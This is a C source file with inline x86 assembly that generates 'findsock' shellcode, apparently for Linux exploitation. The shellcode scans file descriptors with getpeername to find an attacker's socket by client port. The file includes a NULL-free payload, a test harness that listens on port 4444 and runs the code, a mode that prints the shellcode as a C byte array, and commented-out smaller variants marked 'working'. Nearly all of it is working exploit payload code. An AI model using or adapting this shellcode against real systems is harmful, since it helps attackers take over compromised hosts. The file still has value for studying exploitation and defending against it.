/*
 * Tries to find a socket based on a client port.
 *
 * Usage
 *
 *    $ ./x86-findsock 
 *    Usage: ./x86-findsock [test | cstyle]
 *
 *    To test the payload
 *
 *    shell1$ ./x86-findsock test
 *    shell2$ perl -e 'print "\xcc"' | nc 127.0.0.1 4444
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-findsock cstyle
 *
 * Features
 *
 *    * No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this payload is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>

void findsock_begin();
void findsock_end();
void findsock_end_test();

#define DEFAULT_PORT      4444
//#define PORT_OFFSET       0x0f
//#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = (val) ^ 0x4242

//#define PORT_OFFSET       0x18
//#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = (val)

#define PORT_OFFSET       0x15
#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = (val) ^ 0x4242

__asm__("
__BEGIN__:
findsock_begin:
	xor   %edx, %edx
	mov   %esp, %ebp
	push  $0x10
	push  %esp
	push  %ebp
	push  %edx	
	push  $0x7
	pop   %ebx
	mov   %esp, %ecx
findsock_loop:
	incl  (%ecx)
	leal  0x5f(%edx), %eax
	int   $0x80
	movw  $0x4141, %ax
	xorw  $0x4242, %ax
	cmpw  2(%ebp), %ax
	jnz   findsock_loop

__END__:
findsock_end:

# read/run single for testing

findsock_read:
	pop  %ebx
	mov  %esp, %ecx
	dec  %dx
	push $0x3
	pop  %eax
	int  $0x80
bindsock_jump:
	jmp  *%ecx

findsock_end_test:
	
");

int main(int argc, char **argv)
{
	unsigned char *start = (unsigned char *)findsock_begin;
	unsigned char *stop  = (unsigned char *)findsock_end;
	unsigned char *copy;
	int length;

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (argv[1][0] == 't')
		stop = (unsigned char *)findsock_end_test;

	length = stop - start;

	if (!(copy = (unsigned char *)malloc(length)))
	{
		printf("allocation failed\n");
		return 0;
	}

	memcpy(copy, start, length);

	if (!strcmp(argv[1], "test"))
	{
		struct sockaddr_in s;
		int sfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP), cfd;
		int clen = sizeof(s), on = 1;

		s.sin_family      = AF_INET;
		s.sin_port        = htons(DEFAULT_PORT);
		s.sin_addr.s_addr = INADDR_ANY;

		setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));

		if (bind(sfd, (struct sockaddr *)&s, sizeof(s)) < 0)
		{
			perror("bind");
			return 0;
		}

		if (listen(sfd, 1) < 0)
		{
			perror("listen");
			return 0;
		}

		if ((cfd = accept(sfd, NULL, NULL)) < 0)
		{
			perror("accept");
			return 0;
		}

		if (getpeername(cfd, (struct sockaddr *)&s, &clen) < 0)
		{
			perror("getpeername");
			return 0;
		}

		printf("client fd is %d\n", cfd);

		SET_PORT(copy, s.sin_port);

		((int (*)())copy)();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		int x;

		fprintf(stdout, "// %lu byte findsock shellcode\n\n", length);
		fprintf(stdout, "unsigned char findsock[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}

/* 

// xor 35 bytes (working)
#define PORT_OFFSET       0x15
#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = (val)

findsock_begin:
	xor   %edx, %edx
	mov   %esp, %ebp
	push  $0x10
	push  %esp
	push  %ebp
	push  %ebx	
	push  $0x7
	pop   %ebx
	mov   %esp, %ecx
findsock_loop:
	incl  (%ecx)
	leal  0x5f(%edx), %eax
	int   $0x80
	mov   $0x4141, %ax
	xorw  $0x4242, %ax
	cmpw  2(%ebp), %ax
	jnz   findsock_loop

// non-xor 28 bytes (working)
#define PORT_OFFSET       0x18
#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = (val)

findsock_begin:
	xor   %ebx, %ebx
	mov   %esp, %ebp
	push  $0x10
	push  %esp
	push  %ebp
	push  %ebx	
	mov   $0x7, %bl
	mov   %esp, %ecx
findsock_loop:
	incl  (%ecx)
	leal  0x5f(%ebx), %eax
	int   $0x80
	cmpw  $0x4141, 2(%ebp)
	jnz   findsock_loop

*/


